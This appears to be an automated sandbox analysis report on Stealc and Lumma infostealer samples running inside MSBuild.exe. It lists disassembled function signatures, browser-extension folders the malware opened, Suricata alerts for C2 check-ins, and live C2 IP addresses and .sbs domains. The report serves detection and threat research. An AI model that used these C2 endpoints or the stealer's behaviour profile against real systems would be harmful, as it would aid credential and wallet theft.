Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00413EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	1_2_00413EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_0040F6B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_004138B0 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	1_2_004138B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00414570 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	1_2_00414570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	1_2_0040ED20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0040DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	1_2_0040DE10
Source: C:\Users\userJKECGDBFCB.exe	Code function: 18_2_000D9ABF FindFirstFileExW,	18_2_000D9ABF

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then movzx ebx, word ptr [ecx]	18_2_00118051
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	18_2_0011A0B9
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then mov dword ptr [esp], 00000000h	18_2_001082E8
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then movzx eax, word ptr [esi+ecx]	18_2_0012E318
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then mov word ptr [eax], cx	18_2_0010A3BF
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 7789B0CBh	18_2_001343F8
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	18_2_00128528
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then movzx ecx, word ptr [edi+eax]	18_2_001345E8
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then mov eax, dword ptr [esp]	18_2_00132601
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then mov word ptr [eax], cx	18_2_0011665F
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then mov eax, ebx	18_2_0010264D
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	18_2_0011A687
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 62429966h	18_2_001307F8
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then mov byte ptr [edi], al	18_2_00120813
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then jmp dword ptr [0044FDB4h]	18_2_00102849
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	18_2_0010A86A
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F8FD61B8h	18_2_0010C89C
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh	18_2_001368A8
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then jmp eax	18_2_000FE914
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ebx]	18_2_000F2928
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	18_2_0012093D
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then jmp eax	18_2_000FE9A5
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh	18_2_00136A38
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then mov eax, dword ptr [esp+000006B8h]	18_2_0010AA47
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then mov eax, dword ptr [esp+40h]	18_2_000FEAC6
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h	18_2_00114AD8
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], A70A987Fh	18_2_0012CB36
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then mov byte ptr [edi], al	18_2_00120B22
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then mov byte ptr [edi], al	18_2_00120B43
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	18_2_000FCB78
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then mov eax, dword ptr [esp]	18_2_00136BB8
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then cmp dword ptr [ebp+edx*8+00h], 9ECF05EBh	18_2_00136BB8
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	18_2_0011AC81
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then mov word ptr [eax], cx	18_2_00114D38
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then mov eax, dword ptr [esp]	18_2_00112D48
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then mov eax, dword ptr [esp+40h]	18_2_000FED6B
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then movzx ecx, word ptr [ebp+00h]	18_2_000F8D88
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then mov eax, dword ptr [esp]	18_2_0012CE48
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], F3285E74h	18_2_00134E98
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then mov eax, dword ptr [esp]	18_2_00134E98
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then mov word ptr [edx], 0000h	18_2_0010CEB7
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then jmp ecx	18_2_00132EAE
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then jmp eax	18_2_00116EC4
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	18_2_00120F18
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then mov eax, dword ptr [esi+14h]	18_2_00120F18
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F3285E74h	18_2_00130F18
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then mov dword ptr [esp+1Ch], 5E46585Eh	18_2_0011CF30
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	18_2_00100F6F
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then jmp ecx	18_2_00132F6C
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then mov word ptr [eax], dx	18_2_0010F138
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then mov word ptr [esi], ax	18_2_0010F138
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then mov ebp, eax	18_2_000F71D8
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C274D4CAh	18_2_00133290
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	18_2_0011F2B8
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C274D4CAh	18_2_00133390
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	18_2_001193AF
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	18_2_0010340E
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then movzx ebx, byte ptr [ecx+esi+25h]	18_2_000F5468
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then mov word ptr [eax], dx	18_2_0010F540
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	18_2_0011B56A
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	18_2_001336C7
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 27BAF212h	18_2_00133833
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], F3285E74h	18_2_00115824
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	18_2_000F1878
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F3285E74h	18_2_00131918
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	18_2_0011DA58
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then cmp word ptr [eax+esi+02h], 0000h	18_2_0011BB20
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then jmp eax	18_2_00117B48
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then mov word ptr [edx], ax	18_2_00117B69
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], C85F7986h	18_2_00119BA8
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then mov eax, dword ptr [esp]	18_2_00119BA8
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C85F7986h	18_2_00119BA8
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then jmp eax	18_2_00115C1B
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then mov eax, dword ptr [esp]	18_2_00135C62
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then cmp byte ptr [ebx], 00000000h	18_2_00103CBA
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then mov edi, ecx	18_2_00101D02
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then movzx edi, byte ptr [ecx+esi]	18_2_000F3D78
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	18_2_000FDDC4
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then mov eax, dword ptr [esi+20h]	18_2_00103E69
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then mov ecx, dword ptr [edx]	18_2_000EDED8
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then dec ebx	18_2_0012BF08
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	18_2_0011FF74
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then jmp ecx	18_2_000F5FB0
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	18_2_0011FFD5
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then mov eax, dword ptr [esp]	18_2_000F9FE8
Source: C:\Users\userJKECGDBFCB.exe	Code function: 4x nop then mov eax, dword ptr [esp]	18_2_000F9FE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp]	19_2_0040D110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp]	19_2_0040D110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C274D4CAh	19_2_004463B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 27BAF212h	19_2_0044695B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	19_2_0040FCA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F3285E74h	19_2_00444040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov ecx, dword ptr [edx]	19_2_00401000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esi+20h]	19_2_00416F91
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then dec ebx	19_2_0043F030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp ecx	19_2_00446094
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	19_2_0042D1E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [eax], dx	19_2_00422260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [esi], ax	19_2_00422260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	19_2_004142FC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov ebp, eax	19_2_0040A300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	19_2_004323E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	19_2_004323E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	19_2_004323E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov byte ptr [edi], al	19_2_004323E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esi+30h]	19_2_004323E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esi+14h]	19_2_004323E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx eax, word ptr [esi+ecx]	19_2_00441440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [eax], cx	19_2_0041D457
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp+0Ch]	19_2_0042C470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	19_2_0042E40C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov dword ptr [esp], 00000000h	19_2_0041B410
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C274D4CAh	19_2_004464B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [eax], cx	19_2_00429510
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 7789B0CBh	19_2_00447520
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	19_2_00416536
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ebx, byte ptr [ecx+esi+25h]	19_2_00408590
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	19_2_0043B650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	19_2_0042E66A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp]	19_2_00445700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, word ptr [edi+eax]	19_2_00447710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp+08h]	19_2_004467EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	19_2_0042D7AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [eax], dx	19_2_004228E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	19_2_0041D961
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 62429966h	19_2_00443920
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh	19_2_004499D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	19_2_004049A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F3285E74h	19_2_00444A40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ebx]	19_2_00405A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp eax	19_2_00411A3C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp eax	19_2_00411ACD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], 53F09CFAh	19_2_00449B60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp+000006B8h]	19_2_0041DB6F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], F8FD61B8h	19_2_0041DB6F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	19_2_00413BE2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp+40h]	19_2_00411BEE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	19_2_00430B80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp word ptr [eax+esi+02h], 0000h	19_2_0042EC48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h	19_2_00427C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [ebx+edx*8], A70A987Fh	19_2_0043FC20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], C85F7986h	19_2_0042CCD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp]	19_2_0042CCD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], C85F7986h	19_2_0042CCD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp]	19_2_00449CE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [ebp+edx*8+00h], 9ECF05EBh	19_2_00449CE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp eax	19_2_0042AC91
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [edx], ax	19_2_0042AC91
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov dword ptr [esp+1Ch], 5E46585Eh	19_2_0042FD10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [ebp-14h]	19_2_0042DD29
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp]	19_2_00448D8A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ebx, word ptr [ecx]	19_2_0042AE57
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [eax], cx	19_2_00427E60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp]	19_2_00425E70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov edi, ecx	19_2_00414E2A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	19_2_00410EEC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp+40h]	19_2_00411E93
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx edi, byte ptr [ecx+esi]	19_2_00406EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then movzx ecx, word ptr [ebp+00h]	19_2_0040BEB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp byte ptr [ebx], 00000000h	19_2_00416EBF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp eax	19_2_00429F62
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp]	19_2_0043FF70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], F3285E74h	19_2_00447FC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esp]	19_2_00447FC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp ecx	19_2_00408FD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then jmp ecx	19_2_00445FD6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov word ptr [edx], 0000h	19_2_0041FFDF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4x nop then mov eax, dword ptr [esi+20h]	19_2_00416F91

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:49699 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.7:49699 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 46.8.231.109:80 -> 192.168.2.7:49699
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.7:49699 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 46.8.231.109:80 -> 192.168.2.7:49699
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.7:49699 -> 46.8.231.109:80
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:49766 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49766 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49760 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49760 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49749 -> 104.21.74.165:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49749 -> 104.21.74.165:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://46.8.231.109/c4754d4f680ead72.php
Source: Malware configuration extractor	URLs: invinjurhey.sbs
Source: Malware configuration extractor	URLs: wickedneatr.sbs
Source: Malware configuration extractor	URLs: bemuzzeki.sbs
Source: Malware configuration extractor	URLs: isoplethui.sbs
Source: Malware configuration extractor	URLs: exilepolsiy.sbs
Source: Malware configuration extractor	URLs: frizzettei.sbs
Source: Malware configuration extractor	URLs: exemplarou.sbs
Source: Malware configuration extractor	URLs: laddyirekyi.sbs
Source: Malware configuration extractor	URLs: http://46.8.231.109/c4754d4f680ead72.php

Source: global traffic

TCP traffic: 192.168.2.7:64603 -> 162.159.36.2:53

